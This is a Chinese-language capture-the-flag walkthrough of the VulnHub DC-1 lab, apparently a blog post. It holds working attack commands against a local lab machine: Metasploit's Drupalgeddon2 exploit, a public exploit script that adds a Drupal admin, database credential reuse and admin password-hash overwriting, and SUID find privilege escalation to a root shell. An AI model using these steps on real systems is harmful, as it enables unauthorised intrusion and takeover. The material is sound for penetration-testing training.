官网https://download.vulnhub.com/dc/DC-1.zip
将ova直接拖到vmware中,第一次还是失败重试后成功
刚开始遇到了点小问题,环境搭建好后利用kali nmap扫不到,并且启动靶机时一直报驱动的错。解决方法就是将桥接模式换成NAT模式(“桥接”和“NAT”方式区别),然后移除CD/DVD(IDE)
首先nmap扫描ip地址及端口号,进入web页面发现一个7版本的Drupal,利用msf中已存的漏洞可以直接打进去并且发现flag1并且提示配置文件,通过配置文件找到flag2并获得一个数据库账号密码,在原有shell前提下利用python稳定一下bash,在数据库中搞一个账号密码在网页进行登陆后就能得到flag3并且提示需要用find提权,同时我们也可以在shadow中找到flag4,shadow中的确有flag4并且密码可以通过爆破搞出来,但这里通过find命令查找有特殊权限suid的命令,利用find命令提权后可在/home下直接拿到flag4,当然最后也在/root下拿到flag5。
题目描述渗透测试DC-1是一个专门构建的易受攻击的实验环境,目的是获得渗透测试的经验。
它的设计对初学者来说是一个挑战,但是它的难易程度取决于您的技能和知识以及学习能力。
要成功完成此挑战,您需要具备Linux技能,熟悉Linux命令行以及具有使用基本渗透测试工具(例如可在Kali Linux或Parrot
Security OS上找到的工具)的经验。有多种获得root的方法,但是,其中包含了一些flag,这些flag包含了一些线索。
总共有五个flag,但是最终目标是在root的主目录中找到并读取该flag。您甚至不需要成为root用户即可执行此 *** 作,但是,您将需要root特权。
根据您的技能水平,您可能可以跳过查找这些标志中的大多数标志并直接寻找根。
初学者可能会遇到他们以前从未遇到过的挑战,但是Google搜索应该是获得完成此挑战所需信息所需要的全部。
kali的地址为192.168.22.128,用arp-scan扫同段其他主机
arp-scan option [rhost] -f从指定文件中读取主机名或地址 -l从网络接口配置生成地址 -i 各扫描之间的时间差 -r 每个主机扫描次数 -t 设置主机超时时间 -V显示程序版本并退出 -I使用网络接口 -g不显示重复的数据 -D显示数据包往返时间
也可以用nmap扫
sudo nmap -sP 192.168.22.0/24
Nmap中文手册
知道地址为192.168.22.129,再用nmap扫端口
nmap -sV 192.168.64.0/24
得到三个端口80web页面,22ssh端口,111RPC端口,访问80端口的页面
发现是一个Drupal的站点,使用了Drupal框架(Drupal与WordPress,哪个是更好的CMS),这里直接msf上机,查找可以针对Drupal的模块
msfconsole search Drupal use exploit/unix/webapp/drupal_drupalgeddon2 //只有两个能用 show options set RHOSTS 192.168.22.129 run
得到一个会话后,利用会话再得到shell
flag1cat flag1.txt Every good CMS needs a config file - and so do you. 每一个好的CMS都需要一个配置文件-你也是。
drupal配置文件的位置是在sites/default/files
cd sites/default/ cat settings.phpflag2
Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials? 暴力破解和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。你可以用这些凭据做什么?
既然获得数据库的账号密码那就登录上继续找,不过这里需要先用python转换成标准的shell,否则进入mysql之后shell就没有反应
python -c 'import pty; pty.spawn("/bin/bash")'
这里转换标准shell是起初用的python ‐c "import pty;pty.spawn('/bin/bash')",但是报错显示python: can't open file '‐c': [Errno 2] No such file or directory
mysql -u dbuser -p R0ck3t show databases; use drupaldb; show tables; select * from users; select name,pass from users;
这里的pass是经过drupal加密,所以到这一步想要搞到可以登陆的账号密码有两种方法
参考Vulnhub靶场DC-1 WP
searchsploit Drupal 7 python /usr/share/exploitdb/exploits/php/webapps/34992.py -u test -p test -t http://192.168.22.129
查数据发现已经添加成功
利用根目录中的scripts对test(自己想要设置的密码)进行加密,然后修改admin的密码为加密后的test,这里只能在这个目录下,不然会报路径的错
cd /var/www ./scripts/password-hash.sh test hash: $S$DVVPB4mtGz78GkvETWehVbaWAt07NaMiP2zxQKY9zN4SVTw85jtL
update users set pass='$S$DVVPB4mtGz78GkvETWehVbaWAt07NaMiP2zxQKY9zN4SVTw85jtL' where name='admin';flag3
在web页面进行登录,在仪表盘里发现flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. 特殊的PERMS 将帮助查找密码——但您需要-exec 该命令来确定如何获取shadow中的内容。
我们使用find找下具有root权限的suid(【安全科普】Linux提权——利用可执行文件SUID )
‐perm 按照文件权限来查找文件 ‐u=w 基于用户可写查找 //s就是root用户的意思 ‐type f 查找普通类型文件 find / -perm -u=s -type f 2>/dev/null
可以看到find是可以用来提权的,我们尝试用find执行命令,这里需要注意‐name参数填写的文件名,是需要系统真实存在的(我们知道存在flag4,所以直接用)
find / -name flag4 -exec "/bin/sh" ;flag4
参考Vulnhub靶机实战——DC-1这里使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange,拿到账号密码后可以连接ssh登陆系统,但这里已经拿到了root权限,可以直接进/home中找到flag4
Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is? 你能用同样的方法来查找或访问根目录中的标志吗? 可能。但也许不是那么容易。或许是这样?flag5
前面通过find拿到root权限,这里同样直接到/root目录下get flag
Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7 做得好!!!!! 希望你喜欢这个并学到了一些新的技能。 你可以让我知道你对这次小旅行的看法。 通过Twitter联系我-@dcau7
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)